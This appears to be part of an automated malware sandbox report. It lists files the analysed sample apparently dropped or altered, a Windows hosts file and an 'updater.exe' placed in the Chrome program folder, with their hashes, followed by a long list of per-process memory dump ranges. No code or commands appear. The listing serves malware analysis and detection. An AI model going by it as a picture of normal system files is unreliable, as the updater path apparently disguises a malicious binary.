C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
5181de35873b0f0d65edaf102f8051ac

SHA1
daf6fcb468b38ba5209ee5ff76a36f784cdfe01b

SHA256
cd5a77a637ece06d063699ce51973e0f79627068d3e587af38912c3c96476990

SHA512
2d75a6b435d7b170e93bf6d12428d665ec0cdc607e1a3a712c5e6b1657df783466bda89c4f3577b9d8fe790607cc5795820fcd0a175f1746d1fe33c9906fb825

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
7.9MB

MD5
4219fd31abeed331b5459aded2b24a39

SHA1
acbd8bcdff673b3dceffa7ae26c462ee5e030a70

SHA256
18f3a9fc3b3fe7123e424941cae2c9d731f189db686c46e7a484579c69aef62d

SHA512
e08340590aa827875b4b479018a1170d176df4b52e08ceebb55337707990993fe954cfa1b79d91ca84e6628ade8c19a874d94a51274a68d60254a63297a71173

Download Submit
memory/276-143-0x000000000130B000-0x000000000132A000-memory.dmp

Filesize
124KB

Download
memory/276-152-0x000000000130B000-0x000000000132A000-memory.dmp

Filesize
124KB

Download
memory/276-137-0x000007FEF3C50000-0x000007FEF4673000-memory.dmp

Filesize
10.1MB

Download
memory/276-139-0x000007FEF30F0000-0x000007FEF3C4D000-memory.dmp

Filesize
11.4MB

Download
memory/276-142-0x0000000001304000-0x0000000001307000-memory.dmp

Filesize
12KB

Download
memory/288-108-0x0000000002884000-0x0000000002887000-memory.dmp

Filesize
12KB

Download
memory/288-103-0x000007FEF3C50000-0x000007FEF4673000-memory.dmp

Filesize
10.1MB

Download
memory/288-106-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

Filesize
3.0MB

Download
memory/288-105-0x0000000002884000-0x0000000002887000-memory.dmp

Filesize
12KB

Download
memory/288-104-0x000007FEF30F0000-0x000007FEF3C4D000-memory.dmp

Filesize
11.4MB

Download
memory/288-109-0x000000000288B000-0x00000000028AA000-memory.dmp

Filesize
124KB

Download
memory/536-92-0x00000000027DB000-0x00000000027FA000-memory.dmp

Filesize
124KB

Download
memory/536-86-0x00000000027D4000-0x00000000027D7000-memory.dmp

Filesize
12KB

Download
memory/536-96-0x00000000027D4000-0x00000000027D7000-memory.dmp

Filesize
12KB

Download
memory/536-81-0x000007FEF32B0000-0x000007FEF3CD3000-memory.dmp

Filesize
10.1MB

Download
memory/536-97-0x00000000027DB000-0x00000000027FA000-memory.dmp

Filesize
124KB

Download
memory/536-84-0x000007FEF2750000-0x000007FEF32AD000-memory.dmp

Filesize
11.4MB

Download
memory/1068-164-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1068-165-0x00000000000E0000-0x0000000000100000-memory.dmp

Filesize
128KB

Download
memory/1068-168-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-54-0x000000013FC40000-0x0000000140B06000-memory.dmp

Filesize
14.8MB

Download
memory/1184-99-0x000000013FC40000-0x0000000140B06000-memory.dmp

Filesize
14.8MB

Download
memory/1184-59-0x000000013FC40000-0x0000000140B06000-memory.dmp

Filesize
14.8MB

Download
memory/1184-63-0x0000000076DB0000-0x0000000076F59000-memory.dmp

Filesize
1.7MB

Download
memory/1184-100-0x0000000076DB0000-0x0000000076F59000-memory.dmp

Filesize
1.7MB

Download
memory/1184-62-0x000000013FC40000-0x0000000140B06000-memory.dmp

Filesize
14.8MB

Download
memory/1184-60-0x0000000076DB0000-0x0000000076F59000-memory.dmp

Filesize
1.7MB

Download
memory/1184-61-0x000000013FC40000-0x0000000140B06000-memory.dmp

Filesize
14.8MB

Download
memory/1184-55-0x000000013FC40000-0x0000000140B06000-memory.dmp

Filesize
14.8MB

Download
memory/1184-58-0x000000013FC40000-0x0000000140B06000-memory.dmp

Filesize
14.8MB

Download
memory/1184-56-0x000000013FC40000-0x0000000140B06000-memory.dmp

Filesize
14.8MB

Download
memory/1628-158-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/1628-116-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/1712-127-0x000000000128B000-0x00000000012AA000-memory.dmp

Filesize
124KB

Download
memory/1712-123-0x000007FEF32B0000-0x000007FEF3CD3000-memory.dmp

Filesize
10.1MB

Download
memory/1712-125-0x0000000001284000-0x0000000001287000-memory.dmp

Filesize
12KB

Download
memory/1712-126-0x0000000001284000-0x0000000001287000-memory.dmp

Filesize
12KB

Download
memory/1712-124-0x000007FEF2750000-0x000007FEF32AD000-memory.dmp

Filesize
11.4MB

Download
memory/1720-71-0x00000000028BB000-0x00000000028DA000-memory.dmp

Filesize
124KB

Download
memory/1720-69-0x000000001B780000-0x000000001BA7F000-memory.dmp

Filesize
3.0MB

Download
memory/1720-65-0x000007FEFB631000-0x000007FEFB633000-memory.dmp

Filesize
8KB

Download
memory/1720-66-0x000007FEF3C50000-0x000007FEF4673000-memory.dmp

Filesize
10.1MB

Download
memory/1720-67-0x000007FEF30F0000-0x000007FEF3C4D000-memory.dmp

Filesize
11.4MB

Download
memory/1720-68-0x00000000028B4000-0x00000000028B7000-memory.dmp

Filesize
12KB

Download
memory/1720-70-0x00000000028B4000-0x00000000028B7000-memory.dmp

Filesize
12KB

Download
memory/2012-162-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/2012-120-0x0000000076DB0000-0x0000000076F59000-memory.dmp

Filesize
1.7MB

Download
memory/2012-119-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/2012-159-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/2012-160-0x0000000076DB0000-0x0000000076F59000-memory.dmp

Filesize
1.7MB

Download
memory/2012-118-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/2012-163-0x0000000076DB0000-0x0000000076F59000-memory.dmp

Filesize
1.7MB

Download
memory/2012-117-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/2012-115-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/2012-114-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download
memory/2012-113-0x000000013FBB0000-0x0000000140A76000-memory.dmp

Filesize
14.8MB

Download